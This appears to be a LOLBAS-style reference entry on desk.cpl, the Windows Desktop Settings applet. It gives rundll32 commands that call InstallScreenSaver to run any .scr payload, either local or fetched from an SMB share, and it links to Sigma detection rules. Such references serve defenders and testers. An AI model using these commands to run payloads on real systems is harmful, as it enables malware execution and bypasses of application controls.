Desk.cpl
Desktop Settings Control Panel
Paths
C:\Windows\System32\desk.cplC:\Windows\SysWOW64\desk.cpl
Commands
Execute
Launch an executable with a .scr extension by calling the InstallScreenSaver function.
Use case: Launch any executable payload, as long as it uses the .scr extension.
Privileges: User
rundll32.exe desk.cpl,InstallScreenSaver {PATH_ABSOLUTE:.scr}
Execute
Launch a remote executable with a .scr extension, located on an SMB share, by calling the InstallScreenSaver function.
Use case: Launch any executable payload, as long as it uses the .scr extension.
Privileges: User
rundll32.exe desk.cpl,InstallScreenSaver {PATH_SMB:.scr}
Detection
- Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/file/file_event/file_event_win_new_src_file.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_rundll32_installscreensaver.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/940f89d43dbac5b7108610a5bde47cda0d2a643b/rules/windows/registry/registry_set/registry_set_scr_file_executed_by_rundll32.yml